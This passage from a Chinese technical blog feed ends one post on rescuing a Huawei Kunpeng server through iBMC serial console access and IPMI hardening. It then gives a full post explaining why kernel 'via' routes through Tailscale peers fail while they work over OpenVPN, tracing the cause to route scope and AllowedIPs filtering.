&lt;code&gt;serialdir&lt;&#x2F;code&gt; 不是软件层面&quot;关联 ttyS0&quot;，而是&lt;strong&gt;硬件&#x2F;电气层面&lt;&#x2F;strong&gt;的切换（TX&#x2F;RX 走线进 BMC 的多路选择器）。ttyS0 = 主板 UART 芯片（16550A @MMIO 0x3f00002f8），内核&#x2F;grub &lt;strong&gt;完全不知道&lt;&#x2F;strong&gt;信号被接到面板还是 SOL——它只对芯片寄存器读写，连到哪是 BMC 的 mux 决定的；一次一路，切换方向不影响内核。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q3：CLP 是什么？&lt;&#x2F;strong&gt;
Huawei iBMC 的 &lt;strong&gt;CLP = Command Line Protocol&lt;&#x2F;strong&gt;：&lt;code&gt;ssh Administrator@&amp;lt;bmc-ip&amp;gt;&lt;&#x2F;code&gt; 登录后看到的 &lt;code&gt;iBMC:&#x2F;&amp;gt;&lt;&#x2F;code&gt; shell（命令：&lt;code&gt;ipmcget&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ipmcset&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ping&lt;&#x2F;code&gt;…）。它管理 &lt;strong&gt;BMC 自己&lt;&#x2F;strong&gt;，与服务器内核串口是两条赛道——这就是为什么它没有 &lt;code&gt;sol&lt;&#x2F;code&gt; 命令、也进不了串口终端。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q4：已有串口输出，为什么还要加 &lt;code&gt;console=&lt;&#x2F;code&gt;？加了 VGA 就有画面了吗？&lt;&#x2F;strong&gt;
&lt;code&gt;console=&lt;&#x2F;code&gt; 的含义是&quot;告诉内核&lt;strong&gt;注册哪些终端作为控制台&lt;&#x2F;strong&gt;&quot;。无该参数时内核按 ACPI &lt;strong&gt;SPCR 自动注册 ttyS0&lt;&#x2F;strong&gt;（串口收日志）→ VGA 无输出。加：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;console=ttyS0,115200 console=tty0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;是&lt;strong&gt;新增第二个输出目标 tty0（VGA&#x2F;efifb 虚拟终端）&lt;&#x2F;strong&gt;——内核支持多控制台并存，一条 printk 广播给已注册的每个 console：串口照旧，VGA 同步滚同一份日志。规则：第一个 &lt;code&gt;console=&lt;&#x2F;code&gt; 为主通道，最后一个为 &lt;code&gt;&#x2F;dev&#x2F;console&lt;&#x2F;code&gt;（登录终端）；只写 &lt;code&gt;console=ttyS0&lt;&#x2F;code&gt; 行为与现在一样（还是只有串口）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q5：&lt;code&gt;serialdir -v 2&lt;&#x2F;code&gt; 后 printk 就到 SOL 了；那 &lt;code&gt;ipmitool sol activate&lt;&#x2F;code&gt; 是干嘛的？ssh 登录 BMC 看得到吗？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ipmcset -d serialdir -v 2&lt;&#x2F;code&gt;：把 uart 信号&quot;接进&quot; BMC 的 SOL 通道（等价把串口线从面板拔下来插进网络插座）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ipmitool sol activate&lt;&#x2F;code&gt;：&lt;strong&gt;在你本地终端&lt;&#x2F;strong&gt;发起 IPMI SOL 会话（UDP 623 &#x2F; RMCP+），把通道字节流&lt;strong&gt;双向转接&lt;&#x2F;strong&gt;：服务器输出显示到终端、你敲的键送回内核。它是&quot;看串口&quot;的&lt;strong&gt;客户端&lt;&#x2F;strong&gt;，不是发给 BMC 的管理命令；&lt;&#x2F;li&gt;
&lt;li&gt;ssh 到 BMC（CLP）&lt;strong&gt;看不到&lt;&#x2F;strong&gt;串口输出——CLP 是 BMC 自己的管理壳，这个固件连 &lt;code&gt;sol&lt;&#x2F;code&gt; 命令都没有；要看串口必须走协议级 SOL 客户端。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;ipmcget -d systemcom&lt;&#x2F;code&gt; 和 &lt;code&gt;sftp&lt;&#x2F;code&gt; 两条命令分别在哪里执行？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ipmcget -d systemcom        # ① 在 ssh 登录 iBMC 之后执行（CLP 的 iBMC:&amp;#x2F;&amp;gt; 提示符里）
                            #    作用：BMC 把最近 2MB 串口环回数据打包到 BMC 本地 &amp;#x2F;tmp&amp;#x2F;systemcom.tar
sftp Administrator@&amp;lt;bmc-ip&amp;gt; # ② 在自己电脑的终端执行
                            #    作用：SFTP 登录 BMC，把 &amp;#x2F;tmp&amp;#x2F;systemcom.tar 下回本机
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;顺序：先 ① 生成包，再 ② 拉取解析。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-4-ipmi-sol-bi-xu-ren-zheng-ma-an-quan-jia-gu-zen-me-zuo&quot;&gt;7.4 IPMI SOL 必须认证吗？安全加固怎么做&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;必须认证&lt;&#x2F;strong&gt;——实测错误密码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ipmitool -I lanplus -H 192.168.6.100 -U Administrator -P wrongpass manual
# Error: Unable to establish IPMI v2 &amp;#x2F; RMCP+ session
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原理：SOL 走 RMCP+ 会话，&lt;strong&gt;用户名+密码认证&lt;&#x2F;strong&gt;（iBMC 用户表，与 Web&#x2F;SSH 同一套）；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;认证通过后协商加密套件（默认 AES-128 + HMAC），SOL 数据全程加密会话内传输；&lt;&#x2F;li&gt;
&lt;li&gt;权限分级：iBMC 用户分 User&#x2F;Operator&#x2F;Administrator，&lt;strong&gt;开 SOL 需要 Operator 及以上&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;IPMI 规范的&quot;匿名登录&quot;（空用户名）iBMC 默认禁用（实测必须给 Administrator 凭据）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;风险面&lt;&#x2F;strong&gt;：SOL 认证通过 = 能看到内核串口、往里敲命令、外加远程电源管理——最高权限运维通道。加固清单：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# —— 检查&amp;#x2F;调整（iBMC Web UI）——
# 服务管理 → 端口服务       ：禁用 IPMI over LAN（UDP 623），平时只用 Web&amp;#x2F;SSH，需要 SOL 时再开
# 用户&amp;amp;安全 → 安全配置       ：IP 访问白名单（只允许管理网段）、登录失败锁定、会话超时
# 用户&amp;amp;安全 → 本地用户       ：密码复杂度策略保持开启，不用弱口令
# —— 会话收尾 ——
ipmitool -I lanplus -H &amp;lt;bmc-ip&amp;gt; -U Administrator sol deactivate   # 主动释放独占会话
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;❌ 623&#x2F;443&#x2F;22 永不暴露到公网或跨 VLAN；&lt;&#x2F;li&gt;
&lt;li&gt;✅ SOL 会话独占：用完 &lt;code&gt;sol deactivate&lt;&#x2F;code&gt;，否则他人连不上；&lt;&#x2F;li&gt;
&lt;li&gt;✅ 本次事故中凭据只在 tmux 会话中键入（无回显），不经任何历史&#x2F;日志。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;ba-zong-jie&quot;&gt;八、总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;根分区只读 ≠ 盘死了&lt;&#x2F;strong&gt;：读 dmesg 的块层错误 + ext4 aborted journal + &lt;code&gt;e2fsck -n&lt;&#x2F;code&gt;，先定位到&quot;fsck 可解&quot;的层次；只有 SMART&#x2F;持续 I&#x2F;O 错误才说明硬件报废。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;initramfs 的 &lt;code&gt;(initramfs)&lt;&#x2F;code&gt; 提示符是&quot;等着你&quot;不是&quot;死了&quot;&lt;&#x2F;strong&gt;：&lt;code&gt;fsck.ext4 -a&lt;&#x2F;code&gt; 遇 UNEXPECTED INCONSISTENCY 不会自动修；手动 &lt;code&gt;-fy&lt;&#x2F;code&gt; 20 秒收工。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;IPMI KVM 只投 VGA&lt;&#x2F;strong&gt;：鲲鹏服务器要点&quot;串口控制台&quot;（SOL&#x2F;采集包&#x2F;物理串口）才看得到内核；iBMC 3.03 无 SOL 命令时还有三招——串口方向 &lt;code&gt;serialdir&lt;&#x2F;code&gt;、&lt;code&gt;systemcom&lt;&#x2F;code&gt; 采集包、LAN SOL（ipmitool）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;生产服务器磁盘该进 RAID&#x2F;有备份&lt;&#x2F;strong&gt;：&#x2F;dev&#x2F;sda 单盘直连是脆弱点，本次坏一个扇区就差点放倒整台机器。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tailscale 为什么不能像 OpenVPN 那样用 via 路由访问对端局域网</title>
        <published>2026-09-04T11:12:17+08:00</published>
        <updated>2026-10-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/tailscale-via-route-vs-openvpn/"/>
        <id>https://vercel.juzhong.asia/2026/09/tailscale-via-route-vs-openvpn/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/tailscale-via-route-vs-openvpn/">&lt;h1 id=&quot;bei-jing-xiang-zai-tailscale-wang-luo-li-jie-yong-dui-duan-fang-wen-qi-ju-yu-wang&quot;&gt;背景：想在 tailscale 网络里&quot;借用&quot;对端访问其局域网&lt;&#x2F;h1&gt;
&lt;p&gt;本机（tailscale 100.64.0.1）想临时访问对端节点（100.64.0.2）所在站点的局域网设备 192.168.2.1。
直觉做法是加一条经对端转发的路由，就像 OpenVPN 里那样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip r replace 192.168.2.1&amp;#x2F;32 via 100.64.0.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Error: Nexthop has invalid gateway.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;换成写进 tailscale 自己的路由表也报一样的错。而另一台 OpenVPN 机器上同样的姿势却完全正常：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# OpenVPN 机器上实测可行
ip r add 192.168.2.1 via 10.8.0.5   # 成功，且能正常访问 192.168.2.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样的命令形态，一个报错一个成功，差在哪？本文完整记录排查过程与背后的架构差异。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ben-ji-tailscale-de-lu-you-bu-ju&quot;&gt;本机 tailscale 的路由布局&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ip route show
default via 192.168.4.1 dev bridge0 proto static metric 425
192.168.4.0&amp;#x2F;22 dev bridge0 proto kernel scope link src 192.168.5.244 metric 425
...   # main 表里没有任何 100.64.0.0&amp;#x2F;10 相关路由

$ ip route show table 52
100.64.0.2 dev tailscale0
100.64.0.3 dev tailscale0
...
100.100.100.100 dev tailscale0

$ ip rule show
5270: from all lookup 52
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键事实：&lt;strong&gt;所有 tailscale peer 的 &#x2F;32 路由都在独立的 table 52 里&lt;&#x2F;strong&gt;，main 表一条都没有；
&lt;code&gt;ip rule 5270: from all lookup 52&lt;&#x2F;code&gt; 让 peer IP 的查表先落到 52。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ip route get 100.64.0.2
100.64.0.2 dev tailscale0 table 52 src 100.64.0.1 uid 1000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但 &lt;code&gt;ip route get&lt;&#x2F;code&gt; 能查到，不代表 add 能通过——实测 main 表、table 52 &lt;strong&gt;两个目标表都报同样的错&lt;&#x2F;strong&gt;
（2026-09-04 于 7.0.0-28 内核复核，同结果）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-ge-bei-tui-fan-de-jia-she-wang-guan-xiao-yan-bu-shi-cha-mu-biao-biao&quot;&gt;一个被推翻的假设：网关校验不是&quot;查目标表&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;最初以为是&quot;网关必须在目标表内可达&quot;，于是试 &lt;code&gt;table 52&lt;&#x2F;code&gt;（网关 100.64.0.2 明明就在 52 里）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo ip r add 192.168.2.1&amp;#x2F;32 via 100.64.0.2 table 52
Error: Nexthop has invalid gateway.   # 依然失败
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kan-wu-zao-xian-zhi-cha-main-biao-bu-gen-ip-rule-de-gui-yin-shi-cuo-de&quot;&gt;勘误：早先&quot;只查 main 表、不跟 ip rule&quot;的归因是错的&lt;&#x2F;h3&gt;
&lt;p&gt;初稿曾把报错归因于&quot;内核校验网关时 &lt;code&gt;fib_lookup()&lt;&#x2F;code&gt; 固定只查 main 表（RT_TABLE_MAIN）、
路由添加时的 nexthop 校验不查规则链&quot;。该解释被下面的实测推翻——真正的判官是
&lt;strong&gt;scope（on-link）过滤，与查哪张表无关&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;实测 A（证伪&quot;只查 main&quot;）&lt;&#x2F;strong&gt;：往 table 52 放一条专门当网关的路由、scope 写成 link
（main 表里没有它，只有经 &lt;code&gt;ip rule 5270&lt;&#x2F;code&gt; 能到）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo ip r add 100.64.0.254&amp;#x2F;32 dev tailscale0 scope link table 52
$ sudo ip r add 10.99.99.99&amp;#x2F;32 via 100.64.0.254    # 加进 main，成功！
10.99.99.99 via 100.64.0.254 dev tailscale0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;网关只存在于 table 52、目标却是 main 表，却能加上——说明添加路由时校验 gateway
&lt;strong&gt;会走完整 ip rule 链&lt;&#x2F;strong&gt;（fib_lookup → fib_rules_lookup → table 52），并非只查 main。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;实测 B（定位到 scope）&lt;&#x2F;strong&gt;：关键线索在路由属性——tailscaled 写进 table 52 的 peer 路由
全部是 &lt;strong&gt;scope global&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ip -d route show table 52 | head -2
unicast 100.64.0.2 dev tailscale0 proto boot scope global
unicast 100.64.0.3 dev tailscale0 proto boot scope global
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内核在添加路由时（&lt;code&gt;fib_check_nh_v4_gw()&lt;&#x2F;code&gt;，net&#x2F;ipv4&#x2F;fib_semantics.c）解析 gateway，
查询 scope 被钳制为 ≥ RT_SCOPE_LINK——语义是**&quot;网关必须由一条 on-link（直连、
scope ≥ link）的路由覆盖&quot;**；查表时 scope 不足的路由会被丢弃（fib_trie.c：
&lt;code&gt;fib_scope &amp;lt; flowi4_scope&lt;&#x2F;code&gt; 即跳过，global=0 &amp;lt; link=253）。于是 100.64.0.2 无论
main、table 52、带不带 &lt;code&gt;dev&lt;&#x2F;code&gt;，全部 invalid gateway；只有显式 &lt;code&gt;dev + onlink&lt;&#x2F;code&gt;
能跳过这套校验：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo ip r add 10.99.99.99&amp;#x2F;32 via 100.64.0.2 dev tailscale0 onlink table 52   # 成功
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（反向对照：把实测 A 那条 100.64.0.254 的 scope 改成 global，&lt;code&gt;via 100.64.0.254&lt;&#x2F;code&gt;
立刻回到 invalid gateway——同一条路由只差 scope。）&lt;&#x2F;p&gt;
&lt;p&gt;那 &lt;code&gt;ip route get&lt;&#x2F;code&gt; 为什么能查到？它走独立的查询路径（inet_rtm_getroute），查询 scope 是
universe、不过滤 global 路由——所以&quot;查得到&quot;与&quot;能当网关&quot;是两个不同的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jiu-suan-xiao-yan-guo-liao-ye-dao-bu-liao-dui-duan&quot;&gt;就算校验过了，也到不了对端&lt;&#x2F;h2&gt;
&lt;p&gt;把报错消掉很容易（不带 &lt;code&gt;via&lt;&#x2F;code&gt; 的 dev 路由不触发网关校验，带 &lt;code&gt;via&lt;&#x2F;code&gt; 的加 &lt;code&gt;dev + onlink&lt;&#x2F;code&gt; 也行，见上节实测）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip r add 192.168.2.1&amp;#x2F;32 dev tailscale0   # 能装上
ping -c2 192.168.2.1                          # 预期全丢：隧道内无对端认领该目标
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这就触及真正的架构差异了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gen-yin-liang-ji-zhuan-fa-mo-xing-vs-openvpn-de-dan-lian-lu-mo-xing&quot;&gt;根因：两级转发模型 vs OpenVPN 的单链路模型&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bao-jin-sui-dao-hou-shui-jue-ding-fa-gei-shui&quot;&gt;包进隧道后，谁决定发给谁？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;tailscale0 是普通 TUN（本机实测 &lt;code&gt;type tun&lt;&#x2F;code&gt;，wireguard-go 用户态模式）&lt;&#x2F;strong&gt;。
内核路由表只负责&quot;把包交给 tailscale0&quot;这一级——TUN 设备不检查目标 IP 是否被允许，
任何路由进来的包都原样写进 tun fd。真正判决在第二级：&lt;&#x2F;p&gt;
&lt;p&gt;tailscaled 用户态进程从 tun 读走包后，wireguard-go 拿 &lt;strong&gt;dst 去匹配各 peer 的 AllowedIPs&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本机是 100.64.0.1，对端们是 100.64.0.2&#x2F;.3&#x2F;...——每个 peer 的 AllowedIPs 只有它自己的
tailscale IP（+ MagicDNS 100.100.100.100）；&lt;&#x2F;li&gt;
&lt;li&gt;192.168.2.1 不属于任何 peer → &lt;strong&gt;无匹配 → 包在用户态进程内直接丢弃&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;via 100.64.0.2&lt;&#x2F;code&gt; 只是内核的&quot;下一跳&quot;概念，对 TUN 设备来说包原样进隧道，
&lt;strong&gt;&quot;发给 peer .2&quot;这个意图根本传不到 wireguard 层&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以这不是路由表技巧能绕过的：手工路由改的是第一级，判决在第二级，而第二级只认宣告。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openvpn-wei-shen-me-neng-tong&quot;&gt;OpenVPN 为什么能通&lt;&#x2F;h2&gt;
&lt;p&gt;OpenVPN 的 tun0 是&lt;strong&gt;单对端 ptp 链路&lt;&#x2F;strong&gt;：包进隧道后没有&quot;选谁&quot;这回事——固定发往唯一的 server。
而 server 是&lt;strong&gt;显式开启转发的真实路由器&lt;&#x2F;strong&gt;（内核 ip_forward + 它自己的 LAN 路由），
所以任何你路由过去的目标，只要 server 能到达就通。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# OpenVPN 机器实测路由
10.8.0.0&amp;#x2F;24 via 10.8.0.5 dev tun0          # config 里 route 指令，程序经 netlink 写入
10.8.0.5 dev tun0 proto kernel scope link src 10.8.0.6   # 内核自动生成
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;顺带解答一个疑问：&lt;strong&gt;&lt;code&gt;ip route&lt;&#x2F;code&gt; 为什么能看到 10.8.0.5 这个&quot;peer&quot;？它不可能读 openvpn 配置。&lt;&#x2F;strong&gt;
看 &lt;code&gt;proto kernel&lt;&#x2F;code&gt; 标记——这条路由是内核在配置 ptp 地址时自动生成的：
openvpn 配地址用的是 &lt;code&gt;10.8.0.6 peer 10.8.0.5&lt;&#x2F;code&gt;（点对点形式），对端地址成为&lt;strong&gt;接口地址属性&lt;&#x2F;strong&gt;，
内核自动为链路对端建 &#x2F;32 路由（与给网桥配 IP 自动生成链路路由同理）。
对比 tailscale0 的地址 &lt;code&gt;100.64.0.1&#x2F;32&lt;&#x2F;code&gt;——纯 &#x2F;32、没有 &lt;code&gt;peer&lt;&#x2F;code&gt; 字段（多对端不存在单一链路对端），
所以内核不会生成任何 peer 路由，对端们是 tailscaled 手工写进 table 52 的。&lt;&#x2F;p&gt;
&lt;p&gt;这同时也解释了开头那个&quot;一个报错一个成功&quot;的表层差异：OpenVPN 机上 &lt;code&gt;via 10.8.0.5&lt;&#x2F;code&gt; 能装上，
除了隧道路由在 main 表里，更关键的是内核自动生成的 peer 路由是 &lt;strong&gt;scope link&lt;&#x2F;strong&gt;
（&lt;code&gt;proto kernel scope link&lt;&#x2F;code&gt;）——正好满足上文&quot;网关必须由 on-link 路由覆盖&quot;的校验；
而 tailscaled 手写的 peer 路由是 &lt;code&gt;proto boot scope global&lt;&#x2F;code&gt;，在同样的校验处就被拦下。
报错与否取决于&lt;strong&gt;覆盖网关那条路由的 scope&lt;&#x2F;strong&gt;，与规则链、目标表都无关。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;liang-tiao-peer-lu-you-de-lai-li-scope-yu-proto-wei-shen-me-bu-tong&quot;&gt;两条&quot;peer&quot;路由的来历：scope 与 proto 为什么不同&lt;&#x2F;h3&gt;
&lt;p&gt;顺着上面两个输出再问一层：同样是&quot;对端可达&quot;，为什么 OpenVPN 的是 &lt;code&gt;proto kernel scope link&lt;&#x2F;code&gt;、
tailscale 的是 &lt;code&gt;proto boot scope global&lt;&#x2F;code&gt;？因为两者根本不是同一种东西——生成方、生成时机都不同。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;OpenVPN 的 peer 路由是&quot;配地址&quot;的副作用，由内核自己生成。&lt;&#x2F;strong&gt; openvpn 配 &lt;code&gt;10.8.0.6 peer 10.8.0.5&lt;&#x2F;code&gt;
时，对端 IP 作为接口地址属性（IFA_ADDRESS）随地址一起下发；内核 &lt;code&gt;fib_add_ifaddr()&lt;&#x2F;code&gt;
（net&#x2F;ipv4&#x2F;fib_frontend.c）除了把本端 10.8.0.6 收进 local 表，还会为对端地址自动建一条
&#x2F;32 路由，且 scope&#x2F;proto 是&lt;strong&gt;写死&lt;&#x2F;strong&gt;的（fib_magic()）：&lt;code&gt;proto = RTPROT_KERNEL&lt;&#x2F;code&gt;（标记&quot;内核创建&quot;）、
&lt;code&gt;scope = RT_SCOPE_LINK&lt;&#x2F;code&gt;——ptp 对端在语义上就是直连对端（on-link、不经过任何中间网关），
天然满足上文网关校验对 scope 的要求。这也是 OpenVPN 的 &lt;code&gt;via 10.8.0.5&lt;&#x2F;code&gt; 能装上的直接原因。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;tailscale 的&quot;peer 路由&quot;是 tailscaled 经 netlink 手工写入的普通 dev 路由&lt;&#x2F;strong&gt;（wgengine&#x2F;router&#x2F;
osrouter&#x2F;router_linux.go 的 addRoute()）：只填 LinkIndex（tailscale0）、Dst、Table=52 三个字段，
不带 via、也不指定 scope&#x2F;proto——于是落在其 netlink 库的默认值上：scope=universe、proto=boot
（nl.NewRtMsg() 的缺省）。所以 &lt;code&gt;proto boot scope global&lt;&#x2F;code&gt; &lt;strong&gt;不是设计选择，是&quot;没设置 + 库默认&quot;&lt;&#x2F;strong&gt;：
tailscaled 自己从不用 &lt;code&gt;via&lt;&#x2F;code&gt; 指 peer（包进隧道后的归属由 wg 引擎按 AllowedIPs 判决，路由只负责
把包送进 tun），scope 写多少对它毫无影响。&lt;&#x2F;p&gt;
&lt;p&gt;侧面印证：tailscaled 在 netlink 不可用的兜底路径会退化执行 &lt;code&gt;ip route add &amp;lt;网段&amp;gt; dev tailscale0&lt;&#x2F;code&gt;
（iproute2），而 iproute2 对 dev-only 路由默认给 scope link——同一条路由若由这条路径写入，
&lt;code&gt;via peer IP&lt;&#x2F;code&gt; 就能装上（对照上节实测 A：scope link 的网关路由只放 table 52，main 表加 via 照样成功）。&lt;&#x2F;p&gt;
&lt;p&gt;两个&quot;peer&quot;路由的性质也不同：OpenVPN 那条描述&quot;链路另一端是谁&quot;（内核地址模型的一部分）；
tailscale 那条描述&quot;哪些目标 IP 属于隧道&quot;——本质是 AllowedIPs 的内核投影，随 netmap 增删、
与点对点链路毫无关系。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;he-xin-chai-yi-yi-tu-liu&quot;&gt;核心差异一图流&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;OpenVPN（tun 模式）&lt;&#x2F;th&gt;&lt;th&gt;Tailscale（本机）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;隧道形态&lt;&#x2F;td&gt;&lt;td&gt;每客户端 1 条到 server 的链路&lt;&#x2F;td&gt;&lt;td&gt;1 个 TUN 设备对 N 个 peer&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;包进隧道后的判决&lt;&#x2F;td&gt;&lt;td&gt;无判决：固定发唯一 server&lt;&#x2F;td&gt;&lt;td&gt;用户态 wg-go 按 dst 匹配 AllowedIPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;未宣告的目标&lt;&#x2F;td&gt;&lt;td&gt;无此概念（server 来者不拒）&lt;&#x2F;td&gt;&lt;td&gt;直接丢弃&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;隧道→LAN 转发&lt;&#x2F;td&gt;&lt;td&gt;server 内核 ip_forward&lt;&#x2F;td&gt;&lt;td&gt;仅 subnet router 节点（内核 ip_forward + nftables）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;peer 表在哪&lt;&#x2F;td&gt;&lt;td&gt;openvpn daemon 用户态（config 单点）&lt;&#x2F;td&gt;&lt;td&gt;tailscaled 用户态（netmap 动态下发）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;peer&quot;路由的来历&lt;&#x2F;td&gt;&lt;td&gt;配地址时内核自动生成（&lt;code&gt;proto kernel scope link&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;AllowedIPs 的内核镜像，tailscaled netlink 写入（&lt;code&gt;proto boot scope global&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;用 via 路由借道&quot;&lt;&#x2F;td&gt;&lt;td&gt;天然成立（server 就是路由器）&lt;&#x2F;td&gt;&lt;td&gt;不成立（peer 默认是叶子，不承担转发）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;一句话：转发执行者两边都是内核，判决者都是用户态程序；区别是 OpenVPN 用配置把&quot;谁当路由器&quot;
写死成唯一的 server（无条件信任），tailscale 用宣告机制动态决定谁当路由器（默认谁都不当，最小暴露）。&lt;&#x2F;p&gt;
